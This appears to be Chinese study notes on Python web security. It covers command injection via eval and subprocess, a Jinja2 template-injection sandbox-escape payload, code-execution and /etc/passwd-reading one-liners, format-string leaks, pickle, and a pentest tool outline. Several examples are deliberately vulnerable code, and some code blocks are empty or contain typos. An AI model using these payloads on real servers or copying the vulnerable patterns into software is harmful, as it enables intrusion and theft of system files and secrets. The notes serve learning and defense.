OS命令注入
与OS命令注入攻击相关的模块:
eval()
、os.system()
、os.popen*
、subprocess.popenos.spawn*
、commands.*
、popen2.*
。- 下面是一个用Python中Django写的,可以利用eval命令注入的简单Python Web服务的Demo:
1 2 3 4 5 6 7 8
def eval_test(request): if request.method == 'GET': return render_to_response('eval.html',context_instance=RequesetContext(request)) elif request.method == 'POST': domain = request.POST.get('domain','') command = "os.popen('whois" + domain + "')" output = eval(command) return render_to_response('eval.html', {'output':output.readlines()}, context_instance=RequestContext(request))
- OS命令注入:subprocess.call函数(shell=True时,函数会在命令前添加-c选项)。开发建议 → 使用pipes.quote()函数去过滤用户输入;尽量不要使用shell=True…
1 2 3
subprocess.call("cat " + user_input, shell=True) subprocess.call("cat %s"%(user_input), shell=True) subprocess.call("cat {0}".format(user_input), shell=True)
简单练习
|
|
服务端模板注入(SSTI)
发生在MVC框架的view层。
- 模板注入:
{{9-6}}
,在括号内的内容会被当作Python模板被执行
1 2 3 4 5
@app.route("/") def index(): name = request.args.get('name', 'guest') t = Template('Hello', name) return t.render()
- 利用jinjia2语法执行命令:
1 2 3 4 5 6 7 8 9 10 11
{% for c in [].__class__.__base__.__subclass__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
1
[].__class__.__base__.subclasses__()[60].__init__.__globals__.values()[13]['eval']('__import__("os").popen("id").read()')
- 模板注入:
服务器端模板注入相当于控制了对方的view层,可以获得一切jinja2中可以获取的数据。但此时我们仍然在jinja2的沙箱中,接下来我们需要绕过沙箱。
Python沙箱逃逸
- 沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤
任意代码执行
- 一些任意代码执行以及文件读取的函数
- os执行系统命令:
os.system('ipconfig')
- exec任意代码执行:
exec('__import__("os").system("ipconfig")')
- eval任意代码执行:
eval('__import__("os").system("ipconfig")')
- timeit → 本是检测本机性能的,也可以任意代码执行:
timeit.timeit("__import__('os').system('ipconfig')", number=1)
- platform:
platform.popen('ipconfig').read()
- subprocess:
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE, stderr=subprocess)
- file:
file('/etc/passwd').read()
- open:
open('/etc/passwd').read()
- codecs:
codecs.open('/etc/passwd').read()
- os执行系统命令:
其他攻击方法
- PS:Bypass明文过滤源码
|
|
- base64编码方式逃逸(只适用于Python2)。例子:
|
|
格式化字符串问题。
- 在以下代码中,如果用户输入
%(password)s
就可以获得用户的真实密码了。
1 2 3 4 5
userdata = {"user":"jdoe", "password":"secrect"} passwd = raw_input("Password:") if passwd != userdata["password"]: print("Password "+ passwd + " is wrong for user %(user)s") %userdata
- 在以下代码中可以通过
{event.__init__.__globals__[CONFIG][SECRET_KEY]}
就可以泄露敏感信息。
1 2 3 4 5 6 7 8 9 10 11 12
CONFIG = { 'SECRET_KEY': 'super secret key' } class Event(object): def __init__(self, id, level, message): self.id = id self.level = level self.message = message def format_event(format_string, event): return format_string.format(event=event)
- 在以下代码中,如果用户输入
使用del过滤防御
|
|
反序列化
pickle.dump(obj, file[,protocol])
→ 序列化对象,并将结果数据写入到文件对象中(protocol是序列化模式,默认值为0以文本的形式序列化)pickle.load(file)
→ 反序列化对象,将文件中的数据解析成为一个Python对象。pickle的典型应用场景:
- 通常在解析认证token、session的时候;
- 可能将对象Pickle后存储成磁盘文件;
- 可能将对象Pickle后在网络中传输;
- 可能参数传递给程序,比如一个sqlmap代码执行漏洞。
内网渗透
- 预交互、情报搜集、威胁建模、脆弱点分析、漏洞利用、后漏洞利用、撰写报告
扫描网络
- 被动信息扫描 → 开源情报(OSINT)
- 信息收集框架:Recon-ng、Discover、SpiderFoot、Gitrob-Github
- 端口扫描:Nmap、Zmap、Masccan
- 漏洞扫描:Cobalstrike、Tenable Nessus、Rapid7 Nexpose、OpenVas、Metasploit、Nmap scripts、巡风(偏内网资产审计)
- 漏洞利用:metasploit、meterpreter
- 添加路由:route add/remove subnet_addr
域渗透
- 工作组、家庭组
- P.S.:信息安全四大顶会,RSAP